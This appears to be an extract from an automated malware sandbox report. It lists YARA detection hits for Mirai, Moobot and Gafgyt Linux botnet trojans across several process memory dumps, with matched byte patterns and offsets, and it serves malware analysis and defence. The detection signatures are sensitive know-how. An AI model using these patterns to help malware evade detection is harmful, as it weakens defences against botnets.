46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6474.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7139.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6262.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6262.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6262.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6262.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6262.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6262.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6513.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6513.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6513.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6513.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6513.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6513.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7277.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7277.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7277.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7277.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6311.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6311.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6311.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6311.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6311.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6311.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6951.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6951.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6951.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6951.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6951.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6951.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6905.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6905.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6905.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6905.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6905.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6905.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6642.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6508.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6508.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6508.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6508.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6508.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 